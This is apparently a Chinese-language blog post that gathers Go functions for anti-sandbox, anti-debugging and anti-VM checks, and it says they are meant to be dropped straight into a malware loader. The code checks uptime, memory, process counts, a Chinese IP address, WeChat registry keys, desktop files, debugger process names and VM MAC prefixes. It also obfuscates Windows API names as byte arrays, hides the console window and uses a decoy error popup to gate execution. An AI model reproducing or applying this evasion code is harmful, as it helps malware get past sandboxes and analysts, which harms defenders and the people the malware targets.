反沙箱技术
學(xué)習(xí)和記錄各種反沙箱的手段,均使用go實(shí)現(xiàn)。在編寫loader時(shí)可以直接拿來使用
環(huán)境條件
開機(jī)時(shí)長
如果當(dāng)前操作系統(tǒng)沒有超過三十分鐘就退出
func BootTime() bool {
kernel := syscall.NewLazyDLL(string([]byte{
'k', 'e', 'r', 'n', 'e', 'l', '3', '2',
}))
GetTickCount := kernel.NewProc("GetTickCount")
r, _, _ := GetTickCount.Call()
if r == 0 {
return false
}
ms := time.Duration(r * 1000 * 1000)
tm := time.Duration(30 * time.Minute)
if ms < tm {
return false
} else {
return true
}
}
物理內(nèi)存
獲取系統(tǒng)的內(nèi)存,將獲取到的內(nèi)存總量除以``1048576`?轉(zhuǎn)換成GB來判斷是不是小于4GB。
func PhysicalMemory() bool {
var mod = syscall.NewLazyDLL(string([]byte{
'k', 'e', 'r', 'n', 'e', 'l', '3', '2',
}))
var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")
var mem uint64
proc.Call(uintptr(unsafe.Pointer(&mem)))
mem = mem / 1048576
fmt.Printf("物理內(nèi)存為%dG\n", mem)
if mem < 4 {
return false
}
return true
}
?
進(jìn)程數(shù)量
如果沒有超過60個(gè)就自動退出。
import "github.com/shirou/gopsutil/process"
func ProcessCount() bool {
processes, err := process.Processes()
if err != nil {
return false
}
// fmt.Printf("當(dāng)前進(jìn)程數(shù)量: %d\n", count)
if len(processes) < 60 {
return false
}
return true
}
?
國內(nèi)IP
判斷當(dāng)前ip是否位于國內(nèi)
func IP() bool {
url := "https://myip.ipip.net/"
var s string
err := requests.URL(url).ToString(&s).Fetch(context.Background())
if err!= nil {
return false
}
if !strings.Contains(s, "中國") {
return false
}
return true
}
?
微信
檢查當(dāng)前用戶的注冊表中是否有微信的安裝路徑信息。
func Wechat() bool {
k, err := registry.OpenKey(registry.CURRENT_USER, `SOFTWARE\\Tencent\\bugReport\\WechatWindows`, registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
s, _, err := k.GetStringValue("InstallDir")
if err != nil || s == "" {
return false
}
return true
}
?
中文語言
如果語言是英文的則不符合國內(nèi)使用習(xí)慣,大概率是虛擬機(jī)或是沙箱。
func Language() bool {
l := os.Getenv("LANG")
if strings.Contains(l, "en_US") {
return false
}
return true
}
虛擬內(nèi)存交換文件
如果存在則表示系統(tǒng)配置了頁面文件。
func Profile() bool {
_, err := os.Stat("C:\\pagefile.sys")
if os.IsNotExist(err) {
return false
} else if err != nil {
return false
}
return true
}
桌面文件數(shù)量
獲取用戶桌面的路徑,然后統(tǒng)計(jì)該目錄下面非目錄項(xiàng)的數(shù)量,如果文件數(shù)量小于7則退出。
func DesktopFile() bool {
desktopPath, err := os.UserHomeDir()
if err != nil {
return false
}
desktopPath = filepath.Join(desktopPath, "Desktop")
fileCount, err := countFilesInDir(desktopPath)
if err != nil {
return false
}
if fileCount < 7 {
return false
}
return true
}
func countFilesInDir(dirPath string) (int, error) {
var fileCount int
err := filepath.Walk(dirPath, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
if !info.IsDir() {
fileCount++
}
return nil
})
if err != nil {
return -1, err
}
return fileCount, nil
}
?
?
其他操作
彈窗確認(rèn)
可以先設(shè)置一個(gè)彈框,沙箱如果沒有自動模擬點(diǎn)擊的情況下就不執(zhí)行惡意代碼。
import "github.com/gen2brain/dlgs"
func start() {
_, err := dlgs.Info("提示", "打開失敗!")
if err != nil {
os.Exit(-1)
}
}
?
隱藏黑框
?
import "github.com/lxn/win"
func main() {
win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
}
?
延時(shí)執(zhí)行
就是讓當(dāng)前的線程休眠10秒,然后對比實(shí)際的睡眠時(shí)間。
func TimeSleep() bool {
start := time.Now()
time.Sleep(10 * time.Second)
end := time.Since(start)
if end >= 10*time.Second {
return true
} else {
return false
}
}
?
反調(diào)試
檢測系統(tǒng)中是否允許了調(diào)試器,MAX_PATH指的就是文件路徑的最大長度,遍歷所有的進(jìn)程與黑名單進(jìn)行比較
var blacklistDBG = []string{
"IDA",
"OLLY",
"WINDBG",
"GHIDRA",
}
const MAX_PATH = 260
func DetectDBG() bool {
handle, err := syscall.CreateToolhelp32Snapshot(syscall.TH32CS_SNAPPROCESS, 0)
if err != nil {
return false
}
pe32 := syscall.ProcessEntry32{}
pe32.Size = uint32(unsafe.Sizeof(pe32))
err = syscall.Process32First(handle, &pe32)
for err == nil {
exeFile := strings.ToUpper(syscall.UTF16ToString(pe32.ExeFile[:MAX_PATH]))
for _, pn := range blacklistDBG {
if strings.Contains(exeFile, pn) {
return true
}
}
err = syscall.Process32Next(handle, &pe32)
}
if ret, _, _ := syscall.NewLazyDLL(string([]byte{
'k', 'e', 'r', 'n', 'e', 'l', '3', '2',
})).NewProc(string([]byte{
'I', 's', 'D', 'e', 'b', 'u', 'g', 'g', 'e', 'r', 'P', 'r', 'e', 's', 'e', 'n', 't',
})).Call(); ret != 0 {
return true
}
return false
}
反虛擬機(jī)
?
資源
檢測當(dāng)前環(huán)境是否可能是虛擬機(jī)環(huán)境,調(diào)用Windows API來檢測CPU虛擬化標(biāo)志,以及runtime.NumCPU()?返回的處理器核心數(shù)量,少于2個(gè)則判斷為虛擬機(jī)。然后判斷系統(tǒng)總物理內(nèi)存 ullTotalPhys? 如果小于 1<<31(也就是2的31次方,即2GB)判斷為虛擬機(jī)。
import "github.com/klauspost/cpuid"
type memoryStatusEx struct {
dwLength uint32
dwMemoryLoad uint32
ullTotalPhys uint64
ullAvailPhys uint64
ullTotalPageFile uint64
ullAvailPageFile uint64
ullTotalVirtual uint64
ullAvailVirtual uint64
ullAvailExtendedVirtual uint64
}
func checkResource() bool {
if cpuid.CPU.VM() {
return true
}
memStatus := memoryStatusEx{}
memStatus.dwLength = (uint32)(unsafe.Sizeof(memStatus))
if ret, _, _ := syscall.NewLazyDLL(string([]byte{
'k', 'e', 'r', 'n', 'e', 'l', '3', '2',
})).NewProc(string([]byte{
'G', 'l', 'o', 'b', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', 'S', 't', 'a', 't', 'u', 's', 'E', 'x',
})).Call((uintptr)(unsafe.Pointer(&memStatus))); ret == 0 {
return false
}
if runtime.NumCPU() < 2 || memStatus.ullTotalPhys < 1<<31 {
return true
}
return false
}
?
NIC和MAC
判斷網(wǎng)絡(luò)接口卡 (NIC) 的 MAC 地址前綴來判斷當(dāng)前環(huán)境是否在某些虛擬機(jī)軟件中運(yùn)行
var blacklistedMacAddressPrefixes = []string{
"00:1C:42", // Parallels
"08:00:27", // VirtualBox
"00:05:69", // |
"00:0C:29", // | > VMWare
"00:1C:14", // |
"00:50:56", // |
"00:16:E3", // Xen
}
func checkNic() bool {
interfaces, err := net.Interfaces()
if err != nil {
return false
}
for _, iface := range interfaces {
macAddr := iface.HardwareAddr.String()
if strings.HasPrefix(iface.Name, "Ethernet") ||
strings.HasPrefix(iface.Name, "以太網(wǎng)") ||
strings.HasPrefix(iface.Name, "本地連接") {
if macAddr != "" {
for _, prefix := range blacklistedMacAddressPrefixes {
if strings.HasPrefix(macAddr, prefix) {
return true
}
}
}
}
}
return false
}
?
總結(jié)
- 上一篇: STM32CubeMX教程19 I2C
- 下一篇: 一文看完String的前世今生,内容有点